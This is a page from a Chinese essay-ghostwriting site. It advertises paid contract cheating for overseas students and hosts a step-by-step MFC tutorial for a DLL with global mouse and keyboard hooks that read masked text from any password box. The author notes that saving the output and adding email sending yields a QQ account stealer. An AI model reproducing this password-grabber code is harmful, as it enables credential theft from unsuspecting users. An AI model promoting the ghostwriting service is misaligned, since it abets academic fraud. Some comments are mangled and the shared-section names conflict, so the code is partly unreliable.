• 20年专注海外留学生essay代写

  • 50000+留学生essay代写首选品牌

  • 正规教育机构教你怎么写essay范文

Essay写作网,专业正规的essay辅导代写机构,【专注essay代写辅导20年】,轻松搞定您的EssayReportPaperAssignment作业,并提供英国、美国、加拿大、澳大利亚等区域各类英文报告、实验报告、商业报告等定制写作服务,100%原创保障,免费Turnitin检测,为你的海外留学之路保驾护航!!

Who We Are

Enjoy your study life

Essay写作网是海外留学生作业代写【正规服务机构】,拥有500余名专业的英文写手,服务于全球数百所高校和70余专业领域,提供专业的留学生essay作业代写英文report代写英文assignment代写服务。专业高效、24小时一对一跟踪服务、12小时内解决所有售后问题、企业级客服QQ支持,免费turnitin检测服务,安全又省心。

Essay写作网正规留学生作业代写服务机构
ALICE加州大学地理系博士

ALICE

美国加州大学洛杉矶分校地理系博士 硕士

Helen英国剑桥大学会计硕士

Helen

英国剑桥大学会计硕士 利物浦大学经济学学士

Joseph剑桥大学荣誉学士

Joseph

剑桥大学荣誉学士&硕士 计算机科学导师

Yvette宾夕法尼亚州立大学博士

Yvette

宾夕法尼亚州立大学-机械工程-博士

>Mabel牛津大学金融数学硕士

Mabel

牛津大学金融数学硕士 从事课外辅导行业七年

Our Services

Essay辅导代写服务

Essay范文辅导代写

Essay辅导代写服务,5000+专业essay老师在线服务,提供包括essay代写、essay辅导、代写essay、essay写作等服务

report代写/报告代写

paper代写润色辅导

强大的paper写手团队,为10000名留学生提供paper代写、代写paper、paper润色修改服务,安全省心,让你的GPA飞速提升

英文report作业代写/翻译服务

report作业代写辅导

依托自身report代写团队,为留学生提供report作业代写、report范文格式学习、代写report报告作业等report辅导写作服务

Assignment代写修改校对

Assignment代写修改

英语Assignment代写修改润色,Assignment写作辅导,代写Assignment范文,免费Turnitin检测,原创定制,向挂科say byebye!!

Essay写作网致力于为您解决英文essay代写价格、 Report代写、Paper代写、Assignment代写、代写essay多少钱 、网课代修、 英国essay范文格式 等高效、高质量的作业辅导代写服务,稳步提升您的英文论文写作能力,避免挂科,提升毕业率,实现留学生GPA的飞跃提升!

Our Advantage

强大冠军写手团队

强大冠军写手团队

500+专业写作队伍、涉及70余专业学科,专业精准匹配,团队成员均为业内精英,针对性强,帮您轻松过关

100%专业匹配

100%专业匹配

100%专业高度匹配原则,您的委托都交给相关专业人士更有保障。我们宁缺毋滥,助您轻松得高分

1V1专席客服

1V1专席客服

1V1企业级专席客服支持,售后无忧。您可以实时沟通意见或建议,这一切轻松而省心,进度随时可查!

担保交易支持

担保交易支持

业内首家支持支付宝担保交易、天猫店铺在线下单,可以分期付款,您的委托任务完全没有后顾之忧

100%提升保障

100%提升保障

essay代写、 report代写、网课代修均支持100%Pass保障、不用花更多心思、即可助您稳步提升GPA获得好成绩

免费售后支持

免费售后支持

长达14天的免费售后支持,完美售后,轻松解决留学生在essay写作、report写作、paper写作中的各类问题

免费Turnitin检测

免费Turnitin检测

快速高质量的代写润色,100%原创写作,免费为每位客户提供Turnitin的OriginalityCheck®检测报告

100%准时完成

100%准时完成

专业流程化服务,下单即安排专业对口写手对接沟通,原创定制,确保100%准时完成,无拖延超时赔付

Get in Touch

微信在线咨询

微信在线咨询

添加微信:
支持语音、图文实时沟通

Email实时沟通

Email实时沟通

您也可以通过Email联系我们
邮箱:

自助提交订单

自助提交订单

登陆ESSAY写作官网
在线自助提交订单

Essay写作网专注ESAAY代写辅导20年,提供留学生一对一Tuto辅导,海外留学就业一站式服务平台!专业essay代写辅导【正规网站】,【全球留学生论文代写推荐品牌】,【上万留学生共同信任的权威教育机构】

当前位置: essay代写网 > 理工论文范文 >

时间:2020-11-08 19:51 来源: 代写essay

摘要:利用鼠标键盘钩子截获密码 钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的 钩子分类 : 1、WH_CALLWNDPROC和WH_CALLWNDPRO......

利用鼠标键盘钩子截获密码

钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。掌握钩子的编程方法是很有必要的

钩子分类 :
1、WH_CALLWNDPROC和WH_CALLWNDPROCRET: 使你可以监视发送到窗口过程的消息
3、WH_DEBUG    调试钩子
4、WH_FOREGROUNDIDLE   当当应用程序的前台线程大概要变成空闲状态时,系统就会调用      WH_FOREGROUNDIDL
5、WH_JOURNALRECORD   监视和记录输入事件
6、WH_JOURNALPLAYBACK   回放用WH_JOURNALRECORD记录事件
7、WH_KEYBOARD    键盘钩子
9、WH_KEYBOARD_LL   低层键盘钩子
10、WH_MOUSE    鼠标钩子
11、WH_MOUSE_LL    底层鼠标钩子
12、WH_SHELL    外壳钩子
13、WH_MSGFILTER 和 WH_SYSMSGFILTER  使我们可以监视菜单,滚动条,消息框等

安装钩子:
  调用函数SetWindowsHookEx安装钩子。其函数原型为: 
 HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId ) 
 idHook表示钩子类型,它是和钩子函数类型一一对应的。如,WH_KEYBOARD,WH_MOUSE。 
 Lpfn是钩子函数的地址。 
 HMod是钩子函数所在的实例的句柄。对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。 (系统钩子必须在DLL中)
    dwThreadId 指定钩子所监视的线程的`线程号。对于全局钩子,该参数为NULL。 
   SetWindowsHookEx返回所安装的钩子句柄。

卸载钩子 
   调用函数 BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子

定义钩子函数 
  钩子函数是一种特殊的回调函数。钩子监视的特定事件发生后,系统会调用钩子函数进行处理。一般为下:
 LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam) 
 参数wParam和 lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。nCode包含有关消息本身的信,比如是否从消息队列中移出。

实例:
 下面我们通过安装鼠标钩子。和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。

1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:
class AFX_EXT_CLASS CGetPassHook : public CObject  
{
public:
 BOOL StopHook();
 BOOL StartHook(HWND hwnd);
 
 CGetPassHook();
 virtual ~CGetPassHook();

};
3:加入全局共享数据,如下:
#pragma data_seg("ShareData")
HHOOK hKeyBoardHook=NULL;  file://keyboar hook
HHOOK hMouseHook=NULL;   file://mouse hook
HINSTANCE glhInstance=NULL;  file://globle instance
HWND hOutPutWnd=NULL;   file://Display Pass Wnd
#pragma data_seg()

4:加入鼠标,键盘钩子处理函数,如下:
LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam)
{  file://鼠标钩子得理函数
 LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;
 if(nCode>=0)
 {
  HWND hTargetHwnd=lpMouse->hwnd;  file://得到鼠标所在窗口句柄 
  if(hTargetHwnd)
  {
   LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式
   if(style&ES_PASSWORD)  file://如果是密码框
   {
    char szPass[255];
    ::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);
      file://得到密码
    ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);
      file://显示密码
   }
  }
 }
 
 return CallNextHookEx(hMouseHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam)
{  file://keyboard hook proc

if(nCode>=0)
 {
  HWND hTargetHwnd=GetActiveWindow();  file://get active window
  if(hTargetHwnd)
   EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口
 }

return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);
  file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,
  file://可以起到截儿消息的目的,我们这里调用之。
}

这里要介绍下EnumChildWindows函数,原形如下:
 BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROC lpEnumFunc,LPARAM lParam);
 hWndParent:为枚举窗口的句柄
 lpEnumFunc:枚举函数的地址,
 lParam:这里为0

5:加入枚举窗口的函数。如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。

BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam)
{  file://enum the child window,find passedit
 if(hwnd)
 {
  LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLE
  if(style&ES_PASSWORD)   file://是密码框
  {
   char szPass[255];
   ::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS
   ::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示
   return TRUE;
  }
 }

return TRUE;
}

6:在DEF文件中定义段属性: (这步很重要)
  SECTIONS 
  mydata READ WRITE SHARED

7:完成StartHook,StopHook函数,启动/关闭钩子,如下:
BOOL CGetPassHook::StartHook(HWND hwnd)
{   file://install hoook
 hMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);
   file://mouse hook
 hKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0);
   file://keyboard hook
 if(hMouseHook&&hKeyBoardHook)
 {
  hOutPutWnd=hwnd; file://显示密码的句柄
  return TRUE;
 }
 return FALSE;
}

BOOL CGetPassHook::StopHook()
{   file://unstall hook
 BOOL mHook=UnhookWindowsHookEx(hMouseHook);
 BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);
 if(mHook&&kHook)
  return TRUE;
 return FALSE;
}

8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:
extern HINSTANCE glhInstance; file://记得这里
extern "C" int APIENTRY
DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
{
 UNREFERENCED_PARAMETER(lpReserved);
 if (dwReason == DLL_PROCESS_ATTACH)
 {
  TRACE0("GETPASS.DLL Initializing!n");
  
  if (!AfxInitExtensionModule(GetPassDLL, hInstance))
   return 0;
  new CDynLinkLibrary(GetPassDLL);
  glhInstance=hInstance; file://得到句柄
 }
 else if (dwReason == DLL_PROCESS_DETACH)
 {
  TRACE0("GETPASS.DLL Terminating!n");
  AfxTermExtensionModule(GetPassDLL);
 }
 return 1;   // ok
}

9:编译,完成DLL部分,

下面建立APP部分。如下:

1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。

2:将刚才的DLL中的GetPass.lib,和GetPassHook.h拷贝APP所在目录,然后Project->Add to Project-->Files
选择这两个文件。

2:在主对话框中,加入一个EDIT,ID 为IDC_EDIT_PASS

3:在CGetPassWordDlg.h中包含GetPassHook.h文件,声明一个对象。如下:

#include "GetPassHook.h"
class CGetPassWordDlg : public CDialog
{
protected:
 CGetPassHook m_hook;
。。。
 DECLARE_MESSAGE_MAP()
};

4:在实现文件中:OnInitDialog()中起动HOOK

BOOL CGetPassWordDlg::OnInitDialog()
{
 CWnd *pWnd=GetDlgItem(IDC_EDIT_PASS);
 m_hook.StartHook(pWnd->GetSafeHwnd()); file://install hook

return TRUE;  // return TRUE  unless you set the focus to a control
}

5:加入WM_DESTROY消息,在退出程序时停止HOOK,如下:
void CGetPassWordDlg::OnDestroy() 
{
 CDialog::OnDestroy();
 m_hook.StopHook(); file://stop hook
}

6:将GetPass.dll拷贝到。EXE一个目录下,

7:编译,运行.
 这样,你在输入任何密码框输入密码时,密码都将截获。就算键盘HOOK失效,移动鼠标到密码框,也都获取*号密码,因为我们安装两个HOOK。启动QQ,输入密码,试下看是否已经截获了密码?将本程序稍做修改,将截获的密码输出到文件,并加入发送邮件攻能,一个QQ盗号器就做成了。

本文标签: essay代写环境保护论文硕士论文毕业论文英文essay代写留学生作业代写代写兼职淘宝essay代写essay写手招聘essay兼职写手美国作业代写英国作业代写加拿大作业代写代写招聘计算机论文自动化控制论文

[加拿大专业essay代写]利用鼠标键盘钩子截获密码http://www.0592w.com/ligong/1832.html

essay辅导替代essay代写-正规代写机构教你怎么写essays范文-Essay写作格式网官方推荐

99.99%的用户同时也查看了:

[英国大学essay怎么写]谈环...... 2021-09-05

谈环境保护问题与建议 一、我国环境保护存在的问题 我国在环境保护还存在一系列亟待解决的问题,环境污染十分严重: (1)水污染。水污染是指天然洁净水由于人类活动而被玷污的现象......

标签:

[美国大学why essay]保护环境...... 2021-09-05

保护环境在石油开采中的必要性 1含油污水处理技术 如果是作为蒸汽发生器或锅炉的给水(污水回用),则要严格控制水中的钙、镁等易结垢的离子含量、总矿化度以及水中的油含量等。如果......

标签:

[英国第三次提交挂科ess...... 2021-09-05

浅谈生态主义在环境保护中的实用性 一、绝对生态主义理论价值及其积极指导作用 维护生物圈和生态系统的整体利益是人类最高的利益需求。张华夏从怀特海的有机哲学角度,提出了绝对生......

标签:

[哥大erm 网申的essay]环保理...... 2021-09-05

环保理念在设计包装中的思考 1绿色设计理念的概念和准则 1.1绿色设计理念的概念 绿色设计理念也称作生态理念、环保设计等。绿色设计理念是指在产品的设计过程中,要合理分析并总结出......

标签:

[上海班代写essay]环境保护...... 2021-09-05

环境保护研究在矿山中的应用 1矿山环境保护的具体措施 1.1地质灾害防治。在工业场地周围设置挡土墙,阻止滑坡对工业场地内职工的伤害,并在边坡上方设置截水沟。根据以上分析,现对各......

标签:

[代写一篇essay多少钱]建筑...... 2021-09-05

建筑施工与环境保护问题之思考 一、建筑施工技术与环境保护综合考虑的基本原则 在实际的建筑工程实施过程当中,相关工程管理人员要认真全面地了解政府、组织等制定的相关规定,在不......

标签:

[essay要从封面标页码吗]伊...... 2021-09-05

伊斯兰文化与生态环境保护探索 一、伊斯兰文化中关于环境保护的意识、观念和宗教思想 (一)伊斯兰文化中的自然观 《古兰经》启发人们说:“难道他们没有仰视天体吗?我是怎样建造它......

标签:

[申请美国研究生 essay]管窥...... 2021-09-05

管窥水利水电工程环境保护措施落实 1水利水电工程环境影响特征及主要环保措施 在建设项目的环境影响中,与工业项目相比,水利水电工程的环境影响具有明显的特征,首先是环境影响的空......

标签:

[英国essay怎么拿65分]探讨...... 2021-09-05

探讨森林采伐和环境保护 1森林采伐对环境的影响 1.1水土流失严重 人们在森林采伐中重视的都是自身可以获得经济效益,对环境保护和资源的保护工作非常不重视,这样就使得人们在对资源......

标签:

[如何找到essay写手]水库加...... 2021-09-05

水库加固的环境保护与水土保持探讨 1环境保护设计 (1)水污染防治措施 禁止将有毒、有害废弃物作为土方回填。设置排水明沟、排水管,道路及场地适当放坡,使污水不外流。食堂污水......

标签:

[豆瓣essay招聘2019]园林景观...... 2021-09-05

园林景观设计与环境保护探讨 1.园林景观的设计思路 1.1观察自然规律 景观设计者在对园林景观进行设计时,一定不能违背自然规律,这是最起码的原则性问题。在设计前,要对当地的自然规......

标签:

[如何写申请essay]石油钻井...... 2021-09-05

石油钻井施工的环境保护探求 1钻井施工中产生的污染物危害性分析 在钻井作业中产生的污染物,大多含有重金属污染、无机盐污染等,如果堆放或是掩埋在井场,雨水或河流冲刷时则会对水......

标签:

[美高 英语essay分不高]经济...... 2021-09-05

经济与环境保护共同发展对策 1中国现行条件下环境资源的利用及环境污染的现状 (1)大气污染。大气污染是大气中污染物达到了有害程度,超过了环境质量标准和破坏生态系统和人类正常的生......

标签:

[怎么写好一篇essay]企业发...... 2021-09-05

企业发展与环境保护探究 一、企业发展与环境保护的依存关系 环境破坏的同时制约着经济的发展,随着人民生活水平的提高,同时环境问题日益严重,人们对环境保护的意识逐渐加强。现在......

标签:

[fce essay怎样写]火灾救援对...... 2021-09-05

火灾救援对环境保护的影响 1环境生物技术 环境生物技术是是一门综合性科学体系,主要由生物技术、环境学、工程学以及生态学组成。它是一门新兴交义学科,是将现代生物技术与环境工程相......

标签:

[五段式essay描写食物例文...... 2021-09-02

矿山电子设备技术以及电气自动化水平迅速发展,使电气工程在矿山工程中的重要性进一步增强; 电气工程的管理水......

标签:

[南方周末essay留学代写]建...... 2021-09-02

在社会经济繁荣发展的背后,需要的是多种能源的支撑,能源是经济可持续向前发展的重要基础,没有了能源的供给......

标签:

[早稻田mba essay]建筑工程安...... 2021-09-02

在建筑工程的施工过程中,有的施工企业为了赶进度或节约施工成本,在管理人才的配备和管理成本的投入上相对不......

标签:

[英文essay的段落连接词]混...... 2021-09-02

碱集料反应是由于混凝土孔溶液中的 Na+、K+、OH-等有效碱离子与骨料中的活性硅质组分之间发生化学反应,使混凝土......

标签:

[英语essay中的引文怎么写...... 2021-09-02

工作室内设计应充分考虑好几个主要方面。那就是以满足使用要求、符合经济实力、合理布置环境,适当艺术点缀,......

标签:

[留学申请essay写多少字]谈...... 2021-09-02

1.场站规划的原则场站设置是城市重要基础设施建设。场站建设是城市公用事业方面的重大投资建设项目,对城市各方......

标签:

[博士essay投稿费用]浅谈工...... 2021-09-02

[摘要]随着国家计划经济向市场经济的彻底转变,工程施工单位越来越重视工程索赔工作,本文根据济德高速公路七合......

标签:

[国内的大学要写essay吗]连...... 2021-09-02

近几年,各式各样的连锁店应运而生,如:服装连锁店、饮食连锁店、通讯连锁店、药品连锁店等等。在这些连锁店......

标签:

[专业英语 essay 范文]浅谈...... 2021-09-02

关键字工程项目、投标、方法当初步报价估算出来之后,必须对其进行多方面的分析与评估。分析评估的目的是探讨......

标签:

[霍普金斯大学essay]预应力...... 2021-09-02

[摘要]介绍泰州师范学校体育馆菱形平面鞍形索网屋盖结构施工工艺,包括锚夹具设计、边梁立模放线、索孔预埋钢管......

标签:

[英语影视欣赏论文essay]造...... 2021-09-01

摘要:工程建设监理的中心工作是对工程项目实施投资、质量、进度三方面的控制,使工程项目在保证质量和满足进......

标签: